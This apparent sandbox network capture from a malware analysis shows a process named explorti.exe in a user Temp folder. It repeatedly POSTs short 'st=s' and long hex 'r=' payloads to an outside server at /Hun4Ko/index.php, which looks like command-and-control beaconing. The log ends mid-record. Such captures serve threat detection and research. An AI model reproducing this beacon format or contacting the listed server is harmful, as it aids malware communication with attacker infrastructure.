Jul 2, 2024 15:28:05.978117943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:06.752453089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49854	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:06.763839960 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:07.469616890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49855	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:07.587845087 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:08.287686110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49856	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:08.295953035 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:09.008528948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49857	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:09.118437052 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:09.856141090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49858	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:09.865830898 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:10.574503899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49859	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:10.696415901 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:11.407708883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49860	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:11.417006016 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:12.141582966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49861	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:12.261708021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:12.955203056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49862	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:12.971853971 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:13.656639099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49863	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:13.775312901 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:14.465085983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49864	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:14.477885962 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:15.173027039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49865	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:15.290425062 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:15.993679047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49866	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:16.001656055 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:16.739250898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49867	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:16.852260113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:17.551642895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49868	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:17.561156988 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:18.252854109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49869	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:18.375708103 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:19.079687119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49870	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:19.094033957 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:19.797153950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49871	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:19.916249037 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:20.631081104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49872	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:20.641894102 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:21.351865053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49873	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:21.461791039 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:22.162276030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49874	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:22.170892000 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:22.928878069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49875	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:23.040755033 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:23.745562077 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49876	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
